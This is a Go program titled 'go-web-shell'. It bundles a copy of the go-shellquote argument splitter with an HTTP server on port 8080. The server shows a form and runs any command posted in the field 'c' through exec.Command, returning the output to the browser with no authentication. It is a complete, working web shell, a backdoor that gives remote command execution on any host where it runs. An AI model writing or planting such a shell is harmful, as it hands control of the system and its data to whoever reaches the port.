package main

import (
    "bytes"
    "errors"
    "fmt"
    "log"
    "net/http"
    "os/exec"
    "strings"
    "unicode/utf8"
)

var (
    UnterminatedSingleQuoteError = errors.New("Unterminated single-quoted string")
    UnterminatedDoubleQuoteError = errors.New("Unterminated double-quoted string")
    UnterminatedEscapeError      = errors.New("Unterminated backslash-escape")
)

var (
    splitChars        = " \n\t"
    singleChar        = '\''
    doubleChar        = '"'
    escapeChar        = '\\'
    doubleEscapeChars = "$`\"\n\\"
)

func Split(input string) (words []string, err error) {
    var buf bytes.Buffer
    words = make([]string, 0)

    for len(input) > 0 {
        // skip any splitChars at the start
        c, l := utf8.DecodeRuneInString(input)
        if strings.ContainsRune(splitChars, c) {
            input = input[l:]
            continue
        }

        var word string
        word, input, err = splitWord(input, &buf)
        if err != nil {
            return
        }
        words = append(words, word)
    }
    return
}

func splitWord(input string, buf *bytes.Buffer) (word string, remainder string, err error) {
    buf.Reset()

raw:
    {
        cur := input
        for len(cur) > 0 {
            c, l := utf8.DecodeRuneInString(cur)
            cur = cur[l:]
            if c == singleChar {
                buf.WriteString(input[0 : len(input)-len(cur)-l])
                input = cur
                goto single
            } else if c == doubleChar {
                buf.WriteString(input[0 : len(input)-len(cur)-l])
                input = cur
                goto double
            } else if c == escapeChar {
                buf.WriteString(input[0 : len(input)-len(cur)-l])
                input = cur
                goto escape
            } else if strings.ContainsRune(splitChars, c) {
                buf.WriteString(input[0 : len(input)-len(cur)-l])
                return buf.String(), cur, nil
            }
        }
        if len(input) > 0 {
            buf.WriteString(input)
            input = ""
        }
        goto done
    }

escape:
    {
        if len(input) == 0 {
            return "", "", UnterminatedEscapeError
        }
        c, l := utf8.DecodeRuneInString(input)
        if c == '\n' {
        } else {
            buf.WriteString(input[:l])
        }
        input = input[l:]
    }
    goto raw

single:
    {
        i := strings.IndexRune(input, singleChar)
        if i == -1 {
            return "", "", UnterminatedSingleQuoteError
        }
        buf.WriteString(input[0:i])
        input = input[i+1:]
        goto raw
    }

double:
    {
        cur := input
        for len(cur) > 0 {
            c, l := utf8.DecodeRuneInString(cur)
            cur = cur[l:]
            if c == doubleChar {
                buf.WriteString(input[0 : len(input)-len(cur)-l])
                input = cur
                goto raw
            } else if c == escapeChar {
                c2, l2 := utf8.DecodeRuneInString(cur)
                cur = cur[l2:]
                if strings.ContainsRune(doubleEscapeChars, c2) {
                    buf.WriteString(input[0 : len(input)-len(cur)-l-l2])
                    if c2 == '\n' {
                    } else {
                        buf.WriteRune(c2)
                    }
                    input = cur
                }
            }
        }
        return "", "", UnterminatedDoubleQuoteError
    }

done:
    return buf.String(), input, nil
}

// go-shellquote ends here.

func run_cmd(s string) string {

    fmt.Println("exec:", s)

    args, _ := Split(s)

    // cmd := exec.Command( s )

    cmd := exec.Command(args[0], args[1:]...)

    var out bytes.Buffer
    var errorOutput bytes.Buffer

    cmd.Stdout = &out
    cmd.Stderr = &errorOutput

    err2 := cmd.Run()

    outputString := out.String()

    if err2 != nil {
        log.Println(err2)
        return errorOutput.String()
    }

    outputString = strings.Replace(outputString, "\n", "<br />", -1)

    return outputString

}

func handler(w http.ResponseWriter, r *http.Request) {

    fmt.Fprintf(w, "<!doctype html><head><meta charset=\"utf-8\" /><title>go-web-shell</title></head><body><form method=\"post\"><input type=\"text\" name=\"c\" id=\"c\" size=\"50\" /><br /><input type=\"submit\" value=\"Ok\" /></form><script>document.getElementById('c').focus();</script></body></html>")

    if r.Method == "POST" {

        fmt.Println(r.FormValue("c"))

        input_cmd := r.FormValue("c")

        fmt.Fprintf(w, run_cmd(input_cmd))

    }

}

func main() {
    http.HandleFunc("/", handler)
    http.ListenAndServe(":8080", nil)
}